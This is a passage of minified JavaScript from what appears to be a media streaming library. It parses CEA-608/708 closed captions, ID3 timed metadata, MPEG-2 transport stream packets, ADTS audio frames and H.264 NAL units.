this.current708Packet.ptsVals[Math.floor(e/2)]},we.prototype.initService=function(e,t){var i,n,r=this;return(i="SERVICE"+e)in this.serviceEncodings&&(n=this.serviceEncodings[i]),this.services[e]=new be(e,n,r),this.services[e].init(this.getPts(t),(function(t){r.flushDisplayed(t,r.services[e])})),this.services[e]},we.prototype.handleText=function(e,t,i){var n,r,s,a,o=i&&i.isExtended,l=i&&i.isMultiByte,u=this.current708Packet.data,c=o?4096:0,d=u[e],h=u[e+1],p=t.currentWindow;return t.textDecoder_&&!o?(l?(r=[d,h],e++):r=[d],n=t.textDecoder_.decode(new Uint8Array(r))):(a=_e[s=c|d]||s,n=4096&s&&s===a?"":String.fromCharCode(a)),p.pendingNewLine&&!p.isEmpty()&&p.newLine(this.getPts(e)),p.pendingNewLine=!1,p.addText(n),e},we.prototype.multiByteCharacter=function(e,t){var i=this.current708Packet.data,n=i[e+1],r=i[e+2];return ve(n)&&ve(r)&&(e=this.handleText(++e,t,{isMultiByte:!0})),e},we.prototype.setCurrentWindow=function(e,t){var i=7&this.current708Packet.data[e];return t.setCurrentWindow(i),e},we.prototype.defineWindow=function(e,t){var i=this.current708Packet.data,n=i[e],r=7&n;t.setCurrentWindow(r);var s=t.currentWindow;return n=i[++e],s.visible=(32&n)>>5,s.rowLock=(16&n)>>4,s.columnLock=(8&n)>>3,s.priority=7&n,n=i[++e],s.relativePositioning=(128&n)>>7,s.anchorVertical=127&n,n=i[++e],s.anchorHorizontal=n,n=i[++e],s.anchorPoint=(240&n)>>4,s.rowCount=15&n,n=i[++e],s.columnCount=63&n,n=i[++e],s.windowStyle=(56&n)>>3,s.penStyle=7&n,s.virtualRowCount=s.rowCount+1,e},we.prototype.setWindowAttributes=function(e,t){var i=this.current708Packet.data,n=i[e],r=t.currentWindow.winAttr;return n=i[++e],r.fillOpacity=(192&n)>>6,r.fillRed=(48&n)>>4,r.fillGreen=(12&n)>>2,r.fillBlue=3&n,n=i[++e],r.borderType=(192&n)>>6,r.borderRed=(48&n)>>4,r.borderGreen=(12&n)>>2,r.borderBlue=3&n,n=i[++e],r.borderType+=(128&n)>>5,r.wordWrap=(64&n)>>6,r.printDirection=(48&n)>>4,r.scrollDirection=(12&n)>>2,r.justify=3&n,n=i[++e],r.effectSpeed=(240&n)>>4,r.effectDirection=(12&n)>>2,r.displayEffect=3&n,e},we.prototype.flushDisplayed=function(e,t){for(var i=[],n=0;n<8;n++)t.windows[n].visible&&!t.windows[n].isEmpty()&&i.push(t.windows[n].getText());t.endPts=e,t.text=i.join("\n\n"),this.pushCaption(t),t.startPts=e},we.prototype.pushCaption=function(e){""!==e.text&&(this.trigger("data",{startPts:e.startPts,endPts:e.endPts,text:e.text,stream:"cc708_"+e.serviceNum}),e.text="",e.startPts=e.endPts)},we.prototype.displayWindows=function(e,t){var i=this.current708Packet.data[++e],n=this.getPts(e);this.flushDisplayed(n,t);for(var r=0;r<8;r++)i&1<<r&&(t.windows[r].visible=1);return e},we.prototype.hideWindows=function(e,t){var i=this.current708Packet.data[++e],n=this.getPts(e);this.flushDisplayed(n,t);for(var r=0;r<8;r++)i&1<<r&&(t.windows[r].visible=0);return e},we.prototype.toggleWindows=function(e,t){var i=this.current708Packet.data[++e],n=this.getPts(e);this.flushDisplayed(n,t);for(var r=0;r<8;r++)i&1<<r&&(t.windows[r].visible^=1);return e},we.prototype.clearWindows=function(e,t){var i=this.current708Packet.data[++e],n=this.getPts(e);this.flushDisplayed(n,t);for(var r=0;r<8;r++)i&1<<r&&t.windows[r].clearText();return e},we.prototype.deleteWindows=function(e,t){var i=this.current708Packet.data[++e],n=this.getPts(e);this.flushDisplayed(n,t);for(var r=0;r<8;r++)i&1<<r&&t.windows[r].reset();return e},we.prototype.setPenAttributes=function(e,t){var i=this.current708Packet.data,n=i[e],r=t.currentWindow.penAttr;return n=i[++e],r.textTag=(240&n)>>4,r.offset=(12&n)>>2,r.penSize=3&n,n=i[++e],r.italics=(128&n)>>7,r.underline=(64&n)>>6,r.edgeType=(56&n)>>3,r.fontStyle=7&n,e},we.prototype.setPenColor=function(e,t){var i=this.current708Packet.data,n=i[e],r=t.currentWindow.penColor;return n=i[++e],r.fgOpacity=(192&n)>>6,r.fgRed=(48&n)>>4,r.fgGreen=(12&n)>>2,r.fgBlue=3&n,n=i[++e],r.bgOpacity=(192&n)>>6,r.bgRed=(48&n)>>4,r.bgGreen=(12&n)>>2,r.bgBlue=3&n,n=i[++e],r.edgeRed=(48&n)>>4,r.edgeGreen=(12&n)>>2,r.edgeBlue=3&n,e},we.prototype.setPenLocation=function(e,t){var i=this.current708Packet.data,n=i[e],r=t.currentWindow.penLoc;return t.currentWindow.pendingNewLine=!0,n=i[++e],r.row=15&n,n=i[++e],r.column=63&n,e},we.prototype.reset=function(e,t){var i=this.getPts(e);return this.flushDisplayed(i,t),this.initService(t.serviceNum,e)};var Te={42:225,92:233,94:237,95:243,96:250,123:231,124:247,125:209,126:241,127:9608,304:174,305:176,306:189,307:191,308:8482,309:162,310:163,311:9834,312:224,313:160,314:232,315:226,316:234,317:238,318:244,319:251,544:193,545:201,546:211,547:218,548:220,549:252,550:8216,551:161,552:42,553:39,554:8212,555:169,556:8480,557:8226,558:8220,559:8221,560:192,561:194,562:199,563:200,564:202,565:203,566:235,567:206,568:207,569:239,570:212,571:217,572:249,573:219,574:171,575:187,800:195,801:227,802:205,803:204,804:236,805:210,806:242,807:213,808:245,809:123,810:125,811:92,812:94,813:95,814:124,815:126,816:196,817:228,818:214,819:246,820:223,821:165,822:164,823:9474,824:197,825:229,826:216,827:248,828:9484,829:9488,830:9492,831:9496},ke=function(e){return null===e?"":(e=Te[e]||e,String.fromCharCode(e))},Se=[4352,4384,4608,4640,5376,5408,5632,5664,5888,5920,4096,4864,4896,5120,5152],Me=function(){for(var e=[],t=15;t--;)e.push("");return e},xe=function(e,t){xe.prototype.init.call(this),this.field_=e||0,this.dataChannel_=t||0,this.name_="CC"+(1+(this.field_<<1|this.dataChannel_)),this.setConstants(),this.reset(),this.push=function(e){var t,i,n,r,s;if((t=32639&e.ccData)!==this.lastControlCode_){if(4096==(61440&t)?this.lastControlCode_=t:t!==this.PADDING_&&(this.lastControlCode_=null),n=t>>>8,r=255&t,t!==this.PADDING_)if(t===this.RESUME_CAPTION_LOADING_)this.mode_="popOn";else if(t===this.END_OF_CAPTION_)this.mode_="popOn",this.clearFormatting(e.pts),this.flushDisplayed(e.pts),i=this.displayed_,this.displayed_=this.nonDisplayed_,this.nonDisplayed_=i,this.startPts_=e.pts;else if(t===this.ROLL_UP_2_ROWS_)this.rollUpRows_=2,this.setRollUp(e.pts);else if(t===this.ROLL_UP_3_ROWS_)this.rollUpRows_=3,this.setRollUp(e.pts);else if(t===this.ROLL_UP_4_ROWS_)this.rollUpRows_=4,this.setRollUp(e.pts);else if(t===this.CARRIAGE_RETURN_)this.clearFormatting(e.pts),this.flushDisplayed(e.pts),this.shiftRowsUp_(),this.startPts_=e.pts;else if(t===this.BACKSPACE_)"popOn"===this.mode_?this.nonDisplayed_[this.row_]=this.nonDisplayed_[this.row_].slice(0,-1):this.displayed_[this.row_]=this.displayed_[this.row_].slice(0,-1);else if(t===this.ERASE_DISPLAYED_MEMORY_)this.flushDisplayed(e.pts),this.displayed_=Me();else if(t===this.ERASE_NON_DISPLAYED_MEMORY_)this.nonDisplayed_=Me();else if(t===this.RESUME_DIRECT_CAPTIONING_)"paintOn"!==this.mode_&&(this.flushDisplayed(e.pts),this.displayed_=Me()),this.mode_="paintOn",this.startPts_=e.pts;else if(this.isSpecialCharacter(n,r))s=ke((n=(3&n)<<8)|r),this[this.mode_](e.pts,s),this.column_++;else if(this.isExtCharacter(n,r))"popOn"===this.mode_?this.nonDisplayed_[this.row_]=this.nonDisplayed_[this.row_].slice(0,-1):this.displayed_[this.row_]=this.displayed_[this.row_].slice(0,-1),s=ke((n=(3&n)<<8)|r),this[this.mode_](e.pts,s),this.column_++;else if(this.isMidRowCode(n,r))this.clearFormatting(e.pts),this[this.mode_](e.pts," "),this.column_++,14==(14&r)&&this.addFormatting(e.pts,["i"]),1==(1&r)&&this.addFormatting(e.pts,["u"]);else if(this.isOffsetControlCode(n,r))this.column_+=3&r;else if(this.isPAC(n,r)){var a=Se.indexOf(7968&t);"rollUp"===this.mode_&&(a-this.rollUpRows_+1<0&&(a=this.rollUpRows_-1),this.setRollUp(e.pts,a)),a!==this.row_&&(this.clearFormatting(e.pts),this.row_=a),1&r&&-1===this.formatting_.indexOf("u")&&this.addFormatting(e.pts,["u"]),16==(16&t)&&(this.column_=4*((14&t)>>1)),this.isColorPAC(r)&&14==(14&r)&&this.addFormatting(e.pts,["i"])}else this.isNormalChar(n)&&(0===r&&(r=null),s=ke(n),s+=ke(r),this[this.mode_](e.pts,s),this.column_+=s.length)}else this.lastControlCode_=null}};xe.prototype=new fe,xe.prototype.flushDisplayed=function(e){var t=this.displayed_.map((function(e,t){try{return e.trim()}catch(e){return this.trigger("log",{level:"warn",message:"Skipping a malformed 608 caption at index "+t+"."}),""}}),this).join("\n").replace(/^\n+|\n+$/g,"");t.length&&this.trigger("data",{startPts:this.startPts_,endPts:e,text:t,stream:this.name_})},xe.prototype.reset=function(){this.mode_="popOn",this.topRow_=0,this.startPts_=0,this.displayed_=Me(),this.nonDisplayed_=Me(),this.lastControlCode_=null,this.column_=0,this.row_=14,this.rollUpRows_=2,this.formatting_=[]},xe.prototype.setConstants=function(){0===this.dataChannel_?(this.BASE_=16,this.EXT_=17,this.CONTROL_=(20|this.field_)<<8,this.OFFSET_=23):1===this.dataChannel_&&(this.BASE_=24,this.EXT_=25,this.CONTROL_=(28|this.field_)<<8,this.OFFSET_=31),this.PADDING_=0,this.RESUME_CAPTION_LOADING_=32|this.CONTROL_,this.END_OF_CAPTION_=47|this.CONTROL_,this.ROLL_UP_2_ROWS_=37|this.CONTROL_,this.ROLL_UP_3_ROWS_=38|this.CONTROL_,this.ROLL_UP_4_ROWS_=39|this.CONTROL_,this.CARRIAGE_RETURN_=45|this.CONTROL_,this.RESUME_DIRECT_CAPTIONING_=41|this.CONTROL_,this.BACKSPACE_=33|this.CONTROL_,this.ERASE_DISPLAYED_MEMORY_=44|this.CONTROL_,this.ERASE_NON_DISPLAYED_MEMORY_=46|this.CONTROL_},xe.prototype.isSpecialCharacter=function(e,t){return e===this.EXT_&&t>=48&&t<=63},xe.prototype.isExtCharacter=function(e,t){return(e===this.EXT_+1||e===this.EXT_+2)&&t>=32&&t<=63},xe.prototype.isMidRowCode=function(e,t){return e===this.EXT_&&t>=32&&t<=47},xe.prototype.isOffsetControlCode=function(e,t){return e===this.OFFSET_&&t>=33&&t<=35},xe.prototype.isPAC=function(e,t){return e>=this.BASE_&&e<this.BASE_+8&&t>=64&&t<=127},xe.prototype.isColorPAC=function(e){return e>=64&&e<=79||e>=96&&e<=127},xe.prototype.isNormalChar=function(e){return e>=32&&e<=127},xe.prototype.setRollUp=function(e,t){if("rollUp"!==this.mode_&&(this.row_=14,this.mode_="rollUp",this.flushDisplayed(e),this.nonDisplayed_=Me(),this.displayed_=Me()),void 0!==t&&t!==this.row_)for(var i=0;i<this.rollUpRows_;i++)this.displayed_[t-i]=this.displayed_[this.row_-i],this.displayed_[this.row_-i]="";void 0===t&&(t=this.row_),this.topRow_=t-this.rollUpRows_+1},xe.prototype.addFormatting=function(e,t){this.formatting_=this.formatting_.concat(t);var i=t.reduce((function(e,t){return e+"<"+t+">"}),"");this[this.mode_](e,i)},xe.prototype.clearFormatting=function(e){if(this.formatting_.length){var t=this.formatting_.reverse().reduce((function(e,t){return e+"</"+t+">"}),"");this.formatting_=[],this[this.mode_](e,t)}},xe.prototype.popOn=function(e,t){var i=this.nonDisplayed_[this.row_];i+=t,this.nonDisplayed_[this.row_]=i},xe.prototype.rollUp=function(e,t){var i=this.displayed_[this.row_];i+=t,this.displayed_[this.row_]=i},xe.prototype.shiftRowsUp_=function(){var e;for(e=0;e<this.topRow_;e++)this.displayed_[e]="";for(e=this.row_+1;e<15;e++)this.displayed_[e]="";for(e=this.topRow_;e<this.row_;e++)this.displayed_[e]=this.displayed_[e+1];this.displayed_[this.row_]=""},xe.prototype.paintOn=function(e,t){var i=this.displayed_[this.row_];i+=t,this.displayed_[this.row_]=i};var Le={CaptionStream:ge,Cea608Stream:xe,Cea708Stream:we},Ce={H264_STREAM_TYPE:27,ADTS_STREAM_TYPE:15,METADATA_STREAM_TYPE:21},De=U,Pe=function(e,t){var i=1;for(e>t&&(i=-1);Math.abs(t-e)>4294967296;)e+=8589934592*i;return e},Ae=function(e){var t,i;Ae.prototype.init.call(this),this.type_=e||"shared",this.push=function(e){"shared"!==this.type_&&e.type!==this.type_||(void 0===i&&(i=e.dts),e.dts=Pe(e.dts,i),e.pts=Pe(e.pts,i),t=e.dts,this.trigger("data",e))},this.flush=function(){i=t,this.trigger("done")},this.endTimeline=function(){this.flush(),this.trigger("endedtimeline")},this.discontinuity=function(){i=void 0,t=void 0},this.reset=function(){this.discontinuity(),this.trigger("reset")}};Ae.prototype=new De;var Ie,Oe={TimestampRolloverStream:Ae,handleRollover:Pe},Ye=(e,t,i)=>{if(!e)return-1;for(var n=i;n<e.length;n++)if(e[n]===t)return n;return-1},$e=function(e,t,i){var n,r="";for(n=t;n<i;n++)r+="%"+("00"+e[n].toString(16)).slice(-2);return r},je=function(e,t,i){return decodeURIComponent($e(e,t,i))},Ne=function(e,t,i){return unescape($e(e,t,i))},Re=function(e){return e[0]<<21|e[1]<<14|e[2]<<7|e[3]},He={APIC:function(e){var t,i,n=1;3===e.data[0]&&((t=Ye(e.data,0,n))<0||(e.mimeType=Ne(e.data,n,t),n=t+1,e.pictureType=e.data[n],n++,(i=Ye(e.data,0,n))<0||(e.description=je(e.data,n,i),n=i+1,"--\x3e"===e.mimeType?e.url=Ne(e.data,n,e.data.length):e.pictureData=e.data.subarray(n,e.data.length))))},"T*":function(e){3===e.data[0]&&(e.value=je(e.data,1,e.data.length).replace(/\0*$/,""),e.values=e.value.split("\0"))},TXXX:function(e){var t;3===e.data[0]&&-1!==(t=Ye(e.data,0,1))&&(e.description=je(e.data,1,t),e.value=je(e.data,t+1,e.data.length).replace(/\0*$/,""),e.data=e.value)},"W*":function(e){e.url=Ne(e.data,0,e.data.length).replace(/\0.*$/,"")},WXXX:function(e){var t;3===e.data[0]&&-1!==(t=Ye(e.data,0,1))&&(e.description=je(e.data,1,t),e.url=Ne(e.data,t+1,e.data.length).replace(/\0.*$/,""))},PRIV:function(e){var t;for(t=0;t<e.data.length;t++)if(0===e.data[t]){e.owner=Ne(e.data,0,t);break}e.privateData=e.data.subarray(t+1),e.data=e.privateData}},Fe={parseId3Frames:function(e){var t,i=10,n=0,r=[];if(!(e.length<10||e[0]!=="I".charCodeAt(0)||e[1]!=="D".charCodeAt(0)||e[2]!=="3".charCodeAt(0))){n=Re(e.subarray(6,10)),n+=10,64&e[5]&&(i+=4,i+=Re(e.subarray(10,14)),n-=Re(e.subarray(16,20)));do{if((t=Re(e.subarray(i+4,i+8)))<1)break;var s={id:String.fromCharCode(e[i],e[i+1],e[i+2],e[i+3]),data:e.subarray(i+10,i+t+10)};s.key=s.id,He[s.id]?He[s.id](s):"T"===s.id[0]?He["T*"](s):"W"===s.id[0]&&He["W*"](s),r.push(s),i+=10,i+=t}while(i<n);return r}},parseSyncSafeInteger:Re,frameParsers:He},Be=Ce,Ue=Fe;(Ie=function(e){var t,i={descriptor:e&&e.descriptor},n=0,r=[],s=0;if(Ie.prototype.init.call(this),this.dispatchType=Be.METADATA_STREAM_TYPE.toString(16),i.descriptor)for(t=0;t<i.descriptor.length;t++)this.dispatchType+=("00"+i.descriptor[t].toString(16)).slice(-2);this.push=function(e){var t,i,a,o,l;if("timed-metadata"===e.type)if(e.dataAlignmentIndicator&&(s=0,r.length=0),0===r.length&&(e.data.length<10||e.data[0]!=="I".charCodeAt(0)||e.data[1]!=="D".charCodeAt(0)||e.data[2]!=="3".charCodeAt(0)))this.trigger("log",{level:"warn",message:"Skipping unrecognized metadata packet"});else if(r.push(e),s+=e.data.byteLength,1===r.length&&(n=Ue.parseSyncSafeInteger(e.data.subarray(6,10)),n+=10),!(s<n)){for(t={data:new Uint8Array(n),frames:[],pts:r[0].pts,dts:r[0].dts},l=0;l<n;)t.data.set(r[0].data.subarray(0,n-l),l),l+=r[0].data.byteLength,s-=r[0].data.byteLength,r.shift();i=10,64&t.data[5]&&(i+=4,i+=Ue.parseSyncSafeInteger(t.data.subarray(10,14)),n-=Ue.parseSyncSafeInteger(t.data.subarray(16,20)));do{if((a=Ue.parseSyncSafeInteger(t.data.subarray(i+4,i+8)))<1){this.trigger("log",{level:"warn",message:"Malformed ID3 frame encountered. Skipping remaining metadata parsing."});break}if((o={id:String.fromCharCode(t.data[i],t.data[i+1],t.data[i+2],t.data[i+3]),data:t.data.subarray(i+10,i+a+10)}).key=o.id,Ue.frameParsers[o.id]?Ue.frameParsers[o.id](o):"T"===o.id[0]?Ue.frameParsers["T*"](o):"W"===o.id[0]&&Ue.frameParsers["W*"](o),"com.apple.streaming.transportStreamTimestamp"===o.owner){var u=o.data,c=(1&u[3])<<30|u[4]<<22|u[5]<<14|u[6]<<6|u[7]>>>2;c*=4,c+=3&u[7],o.timeStamp=c,void 0===t.pts&&void 0===t.dts&&(t.pts=o.timeStamp,t.dts=o.timeStamp),this.trigger("timestamp",o)}t.frames.push(o),i+=10,i+=a}while(i<n);this.trigger("data",t)}}}).prototype=new U;var We,ze,qe,Ve=Ie,Je=U,Ge=Le,Ke=Ce,Xe=Oe.TimestampRolloverStream;(We=function(){var e=new Uint8Array(188),t=0;We.prototype.init.call(this),this.push=function(i){var n,r=0,s=188;for(t?((n=new Uint8Array(i.byteLength+t)).set(e.subarray(0,t)),n.set(i,t),t=0):n=i;s<n.byteLength;)71!==n[r]||71!==n[s]?(r++,s++):(this.trigger("data",n.subarray(r,s)),r+=188,s+=188);r<n.byteLength&&(e.set(n.subarray(r),0),t=n.byteLength-r)},this.flush=function(){188===t&&71===e[0]&&(this.trigger("data",e),t=0),this.trigger("done")},this.endTimeline=function(){this.flush(),this.trigger("endedtimeline")},this.reset=function(){t=0,this.trigger("reset")}}).prototype=new Je,(ze=function(){var e,t,i,n;ze.prototype.init.call(this),n=this,this.packetsWaitingForPmt=[],this.programMapTable=void 0,e=function(e,n){var r=0;n.payloadUnitStartIndicator&&(r+=e[r]+1),"pat"===n.type?t(e.subarray(r),n):i(e.subarray(r),n)},t=function(e,t){t.section_number=e[7],t.last_section_number=e[8],n.pmtPid=(31&e[10])<<8|e[11],t.pmtPid=n.pmtPid},i=function(e,t){var i,r;if(1&e[5]){for(n.programMapTable={video:null,audio:null,"timed-metadata":{}},i=3+((15&e[1])<<8|e[2])-4,r=12+((15&e[10])<<8|e[11]);r<i;){var s=e[r],a=(31&e[r+1])<<8|e[r+2];s===Ke.H264_STREAM_TYPE&&null===n.programMapTable.video?n.programMapTable.video=a:s===Ke.ADTS_STREAM_TYPE&&null===n.programMapTable.audio?n.programMapTable.audio=a:s===Ke.METADATA_STREAM_TYPE&&(n.programMapTable["timed-metadata"][a]=s),r+=5+((15&e[r+3])<<8|e[r+4])}t.programMapTable=n.programMapTable}},this.push=function(t){var i={},n=4;if(i.payloadUnitStartIndicator=!!(64&t[1]),i.pid=31&t[1],i.pid<<=8,i.pid|=t[2],(48&t[3])>>>4>1&&(n+=t[n]+1),0===i.pid)i.type="pat",e(t.subarray(n),i),this.trigger("data",i);else if(i.pid===this.pmtPid)for(i.type="pmt",e(t.subarray(n),i),this.trigger("data",i);this.packetsWaitingForPmt.length;)this.processPes_.apply(this,this.packetsWaitingForPmt.shift());else void 0===this.programMapTable?this.packetsWaitingForPmt.push([t,n,i]):this.processPes_(t,n,i)},this.processPes_=function(e,t,i){i.pid===this.programMapTable.video?i.streamType=Ke.H264_STREAM_TYPE:i.pid===this.programMapTable.audio?i.streamType=Ke.ADTS_STREAM_TYPE:i.streamType=this.programMapTable["timed-metadata"][i.pid],i.type="pes",i.data=e.subarray(t),this.trigger("data",i)}}).prototype=new Je,ze.STREAM_TYPES={h264:27,adts:15},qe=function(){var e,t=this,i=!1,n={data:[],size:0},r={data:[],size:0},s={data:[],size:0},a=function(e,i,n){var r,s,a=new Uint8Array(e.size),o={type:i},l=0,u=0;if(e.data.length&&!(e.size<9)){for(o.trackId=e.data[0].pid,l=0;l<e.data.length;l++)s=e.data[l],a.set(s.data,u),u+=s.data.byteLength;!function(e,t){var i;const n=e[0]<<16|e[1]<<8|e[2];t.data=new Uint8Array,1===n&&(t.packetLength=6+(e[4]<<8|e[5]),t.dataAlignmentIndicator=0!=(4&e[6]),192&(i=e[7])&&(t.pts=(14&e[9])<<27|(255&e[10])<<20|(254&e[11])<<12|(255&e[12])<<5|(254&e[13])>>>3,t.pts*=4,t.pts+=(6&e[13])>>>1,t.dts=t.pts,64&i&&(t.dts=(14&e[14])<<27|(255&e[15])<<20|(254&e[16])<<12|(255&e[17])<<5|(254&e[18])>>>3,t.dts*=4,t.dts+=(6&e[18])>>>1)),t.data=e.subarray(9+e[8]))}(a,o),r="video"===i||o.packetLength<=e.size,(n||r)&&(e.size=0,e.data.length=0),r&&t.trigger("data",o)}};qe.prototype.init.call(this),this.push=function(o){({pat:function(){},pes:function(){var e,t;switch(o.streamType){case Ke.H264_STREAM_TYPE:e=n,t="video";break;case Ke.ADTS_STREAM_TYPE:e=r,t="audio";break;case Ke.METADATA_STREAM_TYPE:e=s,t="timed-metadata";break;default:return}o.payloadUnitStartIndicator&&a(e,t,!0),e.data.push(o),e.size+=o.data.byteLength},pmt:function(){var n={type:"metadata",tracks:[]};null!==(e=o.programMapTable).video&&n.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+e.video,codec:"avc",type:"video"}),null!==e.audio&&n.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+e.audio,codec:"adts",type:"audio"}),i=!0,t.trigger("data",n)}})[o.type]()},this.reset=function(){n.size=0,n.data.length=0,r.size=0,r.data.length=0,this.trigger("reset")},this.flushStreams_=function(){a(n,"video"),a(r,"audio"),a(s,"timed-metadata")},this.flush=function(){if(!i&&e){var n={type:"metadata",tracks:[]};null!==e.video&&n.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+e.video,codec:"avc",type:"video"}),null!==e.audio&&n.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+e.audio,codec:"adts",type:"audio"}),t.trigger("data",n)}i=!1,this.flushStreams_(),this.trigger("done")}},qe.prototype=new Je;var Qe={PAT_PID:0,MP2T_PACKET_LENGTH:188,TransportPacketStream:We,TransportParseStream:ze,ElementaryStream:qe,TimestampRolloverStream:Xe,CaptionStream:Ge.CaptionStream,Cea608Stream:Ge.Cea608Stream,Cea708Stream:Ge.Cea708Stream,MetadataStream:Ve};for(var et in Ke)Ke.hasOwnProperty(et)&&(Qe[et]=Ke[et]);var tt,it=Qe,nt=le.ONE_SECOND_IN_TS,rt=[96e3,88200,64e3,48e3,44100,32e3,24e3,22050,16e3,12e3,11025,8e3,7350];(tt=function(e){var t,i=0;tt.prototype.init.call(this),this.skipWarn_=function(e,t){this.trigger("log",{level:"warn",message:`adts skiping bytes ${e} to ${t} in frame ${i} outside syncword`})},this.push=function(n){var r,s,a,o,l,u=0;if(e||(i=0),"audio"===n.type){var c;for(t&&t.length?(a=t,(t=new Uint8Array(a.byteLength+n.data.byteLength)).set(a),t.set(n.data,a.byteLength)):t=n.data;u+7<t.length;)if(255===t[u]&&240==(246&t[u+1])){if("number"==typeof c&&(this.skipWarn_(c,u),c=null),s=2*(1&~t[u+1]),r=(3&t[u+3])<<11|t[u+4]<<3|(224&t[u+5])>>5,l=(o=1024*(1+(3&t[u+6])))*nt/rt[(60&t[u+2])>>>2],t.byteLength-u<r)break;this.trigger("data",{pts:n.pts+i*l,dts:n.dts+i*l,sampleCount:o,audioobjecttype:1+(t[u+2]>>>6&3),channelcount:(1&t[u+2])<<2|(192&t[u+3])>>>6,samplerate:rt[(60&t[u+2])>>>2],samplingfrequencyindex:(60&t[u+2])>>>2,samplesize:16,data:t.subarray(u+7+s,u+r)}),i++,u+=r}else"number"!=typeof c&&(c=u),u++;"number"==typeof c&&(this.skipWarn_(c,u),c=null),t=t.subarray(u)}},this.flush=function(){i=0,this.trigger("done")},this.reset=function(){t=void 0,this.trigger("reset")},this.endTimeline=function(){t=void 0,this.trigger("endedtimeline")}}).prototype=new U;var st,at,ot,lt=tt,ut=U,ct=function(e){var t=e.byteLength,i=0,n=0;this.length=function(){return 8*t},this.bitsAvailable=function(){return 8*t+n},this.loadWord=function(){var r=e.byteLength-t,s=new Uint8Array(4),a=Math.min(4,t);if(0===a)throw new Error("no bytes available");s.set(e.subarray(r,r+a)),i=new DataView(s.buffer).getUint32(0),n=8*a,t-=a},this.skipBits=function(e){var r;n>e?(i<<=e,n-=e):(e-=n,e-=8*(r=Math.floor(e/8)),t-=r,this.loadWord(),i<<=e,n-=e)},this.readBits=function(e){var r=Math.min(n,e),s=i>>>32-r;return(n-=r)>0?i<<=r:t>0&&this.loadWord(),(r=e-r)>0?s<<r|this.readBits(r):s},this.skipLeadingZeros=function(){var e;for(e=0;e<n;++e)if(0!=(i&2147483648>>>e))return i<<=e,n-=e,e;return this.loadWord(),e+this.skipLeadingZeros()},this.skipUnsignedExpGolomb=function(){this.skipBits(1+this.skipLeadingZeros())},this.skipExpGolomb=function(){this.skipBits(1+this.skipLeadingZeros())},this.readUnsignedExpGolomb=function(){var e=this.skipLeadingZeros();return this.readBits(e+1)-1},this.readExpGolomb=function(){var e=this.readUnsignedExpGolomb();return 1&e?1+e>>>1:-1*(e>>>1)},this.readBoolean=function(){return 1===this.readBits(1)},this.readUnsignedByte=function(){return this.readBits(8)},this.loadWord()};(at=function(){var e,t,i=0;at.prototype.init.call(this),this.push=function(n){var r;t?((r=new Uint8Array(t.byteLength+n.data.byteLength)).set(t),r.set(n.data,t.byteLength),t=r):t=n.data;for(var s=t.byteLength;i<s-3;i++)if(1===t[i+2]){e=i+5;break}for(;e<s;)switch(t[e]){case 0:if(0!==t[e-1]){e+=2;break}if(0!==t[e-2]){e++;break}i+3!==e-2&&this.trigger("data",t.subarray(i+3,e-2));do{e++}while(1!==t[e]&&e<s);i=e-2,e+=3;break;case 1:if(0!==t[e-1]||0!==t[e-2]){e+=3;break}this.trigger("data",t.subarray(i+3,e-2)),i=e-2,e+=3;break;default:e+=3}t=t.subarray(i),e-=i,i=0},this.reset=function(){t=null,i=0,this.trigger("reset")},this.flush=function(){t&&t.byteLength>3&&this.trigger("data",t.subarray(i+3)),t=null,i=0,this.trigger("done")},this.endTimeline=function(){this.flush(),this.trigger("endedtimeline")}}).prototype=new ut,ot={100:!0,110:!0,122:!0,244:!0,44:!0,83:!0,86:!0,118:!0,128:!0,138:!0,139:!0,134:!0},st=function(){var e,t,i,n,r,s,a,o=new at;st.prototype.init.call(this),e=this,this.push=function(e){"video"===e.type&&(t=e.trackId,i=e.pts,n=e.dts,o.push(e))},o.on("data",(function(a){var o={trackId:t,pts:i,dts:n,data:a,nalUnitTypeCode:31&a[0]};switch(o.nalUnitTypeCode){case 5:o.nalUnitType="slice_layer_without_partitioning_rbsp_idr";break;case 6:o.nalUnitType="sei_rbsp",o.escapedRBSP=r(a.subarray(1));break;case 7:o.nalUnitType="seq_parameter_set_rbsp",o.escapedRBSP=r(a.subarray(1)),o.config=s(o.escapedRBSP);break;case 8:o.nalUnitType="pic_parameter_set_rbsp";break;case 9:o.nalUnitType="access_unit_delimiter_rbsp"}e.trigger("data",o)})),o.on("done",(function(){e.trigger("done")})),o.on("partialdone",(function(){e.trigger("partialdone")})),o.on("reset",(function(){e.trigger("reset")})),o.on("endedtimeline",(function(){e.trigger("endedtimeline")})),this.flush=function(){o.flush()},this.partialFlush=function(){o.partialFlush()},this.reset=function(){o.reset()},this.endTimeline=function(){o.endTimeline()},a=function(e,t){var i,n=8,r=8;for(i=0;i<e;i++)0!==r&&(r=(n+t.readExpGolomb()+256)%256),n=0===r?n:r},r=function(e){for(var t,i,n=e.byteLength,r=[],s=1;s<n-2;)0===e[s]&&0===e[s+1]&&3===e[s+2]?(r.push(s+2),s+=2):s++;if(0===r.length)return e;t=n-r.length,i=new Uint8Array(t);var a=0;for(s=0;s<t;a++,s++)a===r[0]&&(a++,r.shift()),i[s]=e[a];return i},s=function(e){var t,i,n,r,s,o,l,u,c,d,h,p,f=0,m=0,g=0,_=0,v=[1,1];if(i=(t=new ct(e)).readUnsignedByte(),r=t.readUnsignedByte(),n=t.readUnsignedByte(),t.skipUnsignedExpGolomb(),ot[i]&&(3===(s=t.readUnsignedExpGolomb())&&t.skipBits(1),t.skipUnsignedExpGolomb(),t.skipUnsignedExpGolomb(),t.skipBits(1),t.readBoolean()))for(h=3!==s?8:12,p=0;p<h;p++)t.readBoolean()&&a(p<6?16:64,t);if(t.skipUnsignedExpGolomb(),0===(o=t.readUnsignedExpGolomb()))t.readUnsignedExpGolomb();else if(1===o)for(t.skipBits(1),t.skipExpGolomb(),t.skipExpGolomb(),l=t.readUnsignedExpGolomb(),p=0;p<l;p++)t.skipExpGolomb();if(t.skipUnsignedExpGolomb(),t.skipBits(1),u=t.readUnsignedExpGolomb(),c=t.readUnsignedExpGolomb(),0===(d=t.readBits(1))&&t.skipBits(1),t.skipBits(1),t.readBoolean()&&(f=t.readUnsignedExpGolomb(),m=t.readUnsignedExpGolomb(),g=t.readUnsignedExpGolomb(),_=t.readUnsignedExpGolomb()),t.readBoolean()&&t.readBoolean()){switch(t.readUnsignedByte()){case 1:v=[1,1];break;case 2:v=[12,11];break;case 